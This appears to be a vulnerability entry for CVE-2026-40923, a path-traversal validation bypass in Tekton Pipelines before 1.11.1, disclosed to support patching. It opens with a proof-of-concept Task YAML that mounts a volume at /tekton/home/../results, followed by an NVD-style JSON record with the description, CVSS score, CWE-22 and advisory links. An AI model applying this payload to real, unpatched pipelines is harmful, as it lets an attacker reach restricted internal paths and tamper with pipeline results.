CVE-2026-40923

apiVersion: tekton.dev/v1 kind: Task metadata: name: poc-cve-2026-40923 spec: steps: - name: exploit-step image: ubuntu command: ["sh", "-c", "ls -la /tekton/results"] # Malicious volumeMount using path traversal volumeMounts: - name: malicious-pvc mountPath: /tekton/home/../results volumes: - name: malicious-pvc emptyDir: {}

{"cve": {"id": "CVE-2026-40923", "sourceIdentifier": "[email protected]", "published": "2026-04-21T21:16:45.543", "lastModified": "2026-04-27T18:07:23.070", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Prior to 1.11.1, a validation bypass in the VolumeMount path restriction allows mounting volumes under restricted /tekton/ internal paths by using .. path traversal components. The restriction check uses strings.HasPrefix without filepath.Clean, so a path like /tekton/home/../results passes validation but resolves to /tekton/results at runtime. This vulnerability is fixed in 1.11.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:tekton_pipelines:*:*:*:*:*:go:*:*", "versionEndExcluding": "1.11.1", "matchCriteriaId": "CC2C0633-AA1A-4CB5-8FA4-CD63381DCE11"}]}]}], "references": [{"url": "https://github.com/tektoncd/pipeline/releases/tag/v1.11.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/tektoncd/pipeline/security/advisories/GHSA-rx35-6rhx-7858", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}